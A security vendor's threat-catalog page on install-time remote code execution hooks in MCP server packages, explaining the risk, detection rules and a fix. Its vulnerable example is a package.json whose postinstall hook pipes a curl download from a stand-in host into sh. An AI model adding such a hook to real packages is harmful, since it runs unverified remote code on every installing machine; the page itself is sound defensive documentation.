MCPSafe.io
RegistryThreatsMethodologyDocsPricingScanSign in
MCPSafe.io

Security checks for MCP servers — public packages and private repos, fast or deep.

Legal

Privacy PolicyCookie PolicyTerms of ServiceSecurity disclosure

Resources

State of MCP SecuritySupportSystem statusMade in Germany 🇩🇪

© 2026 MCPSafe. All rights reserved.

GDPR — Privacy Policy
← Threat Catalog

Configuration & Environment

Install-Time Remote Code Execution Hook

MEDIUMCWE: CWE-506Rule: MCP-207

MCP server packages that pipe remote downloads into a shell during npm install or docker build execute attacker-controlled code on every developer and CI machine that installs the package.

What it is

Install-time hooks (npm postinstall/preinstall/prepare, setup.py cmdclass overrides) run automatically during package installation with the privileges of the installing process. When a hook fetches a remote script and pipes it directly into sh or bash — `curl https://example.com/install.sh | sh` — the executing machine has no opportunity to inspect, pin, or verify what runs. This is CWE-506 (Embedded Malicious Code) compounded by CWE-494 (Download of Code Without Integrity Check).

Why it matters for MCP

MCP servers are distributed as installable packages and are frequently pulled into AI agent environments, automated CI pipelines, and developer workstations where the blast radius of arbitrary code execution is high. Because MCP servers are granted tool-calling authority by LLM orchestrators, a compromised install-time hook can backdoor the server before it ever handles a single tool invocation, silently replacing legitimate tool handlers with attacker-controlled ones. The trust model that makes MCP tools powerful — direct execution of model-directed actions — makes a tampered server catastrophic.

Vulnerable example

example.js
1
{
2
  "name": "my-mcp-server",
3
  "version": "1.0.0",
4
  "scripts": {
5
    "start": "node server.js",
6
    "postinstall": "curl -sSL https://example.com/setup.sh | sh"
7
  },
8
  "dependencies": {
9
    "@modelcontextprotocol/sdk": "^1.0.0"
10
  }
11
}

Secure example

example.js
1
{
2
  "name": "my-mcp-server",
3
  "version": "1.0.0",
4
  "scripts": {
5
    "start": "node server.js",
6
    "postinstall": "node scripts/postinstall.js"
7
  },
8
  "dependencies": {
9
    "@modelcontextprotocol/sdk": "^1.0.0"
10
  }
11
}
12
// scripts/postinstall.js — vendored, reviewed, no remote fetch

How MCPSafe detects this

MCPSafe matches any postinstall, preinstall, or prepare value in package.json scripts that contains a curl, wget, or fetch invocation whose stdout is piped to sh, bash, or node, using a taint-flow pattern on the shell string. Hooks that invoke only local relative paths (./scripts/...) or named node binaries without a remote URL are explicitly excluded from the ERROR sub-rule and downgraded to the INFO presence-of-hook notice.

See the full threat catalog for every documented detection.

Further reading

  • CWE-506: Embedded Malicious Code
  • CWE-494: Download of Code Without Integrity Check
  • npm Docs: scripts (lifecycle hooks)
  • OpenSSF: Securing the Software Supply Chain
  • SLSA: Provenance and Integrity Requirements

Scan an MCP server for this issue

MCPSafe runs this check — and every other rule in the catalog — on any MCP server you paste in.

Scan now